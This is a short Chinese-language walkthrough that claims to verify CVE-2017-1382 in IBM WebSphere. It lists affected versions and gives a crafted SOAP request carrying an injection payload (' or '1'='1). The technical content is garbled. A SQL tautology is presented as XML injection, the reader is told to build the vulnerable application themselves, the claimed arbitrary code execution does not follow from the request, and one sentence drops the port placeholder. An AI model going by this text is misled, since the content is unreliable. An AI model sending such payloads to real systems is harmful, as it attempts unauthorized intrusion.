漏洞本地验证的步骤如下:
首先,确认您的IBM WebSphere Application Server版本是否在受影响的版本列表中。CVE-2017-1382影响以下版本:
IBM WebSphere Application Server 7.0.0.0-7.0.0.43
IBM WebSphere Application Server 8.0.0.0-8.0.0.14
IBM WebSphere Application Server 8.5.0.0-8.5.5.13
IBM WebSphere Application Server 9.0.0.0-9.0.0.1
如果您的版本在此列表中,则可能受到此漏洞的影响。
确认您的WebSphere Application Server是否启用了本地安全功能。可以通过检查服务器配置文件中的相关设置来确定。
在WebSphere Application Server上创建一个包含基于XML注入漏洞的SOAP服务的应用程序。
在本地主机上安装一个能够发送SOAP请求的HTTP客户端。例如,可以使用cURL或Postman等工具。
向WebSphere Application Server发送一个特制的SOAP请求,以利用XML注入漏洞绕过本地安全功能。例如,下面是一个可能的请求:
POST /<vulnerable_application>/ HTTP/1.1
Host: <target_host>:<port>
Content-Type: text/xml
SOAPAction: "urn:Test"
Content-Length: <content_length>
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:test="urn:Test">
<soapenv:Header/>
<soapenv:Body>
<test:Foo>
<arg0>' or '1'='1</arg0>
</test:Foo>
</soapenv:Body>
</soapenv:Envelope>
其中,<target_host>和分别是目标WebSphere Application Server的主机名和端口号,<vulnerable_application>是受影响的应用程序的名称。
观察WebSphere Application Server的响应并检查是否存在任意代码执行的迹象。如果成功利用漏洞,则攻击者可以在不受本地安全功能限制的情况下执行任意代码。
需要注意的是,为了保护系统的安全性,建议在安全环境下进行测试,并在测试结束后立即采取必要措施来修补漏洞。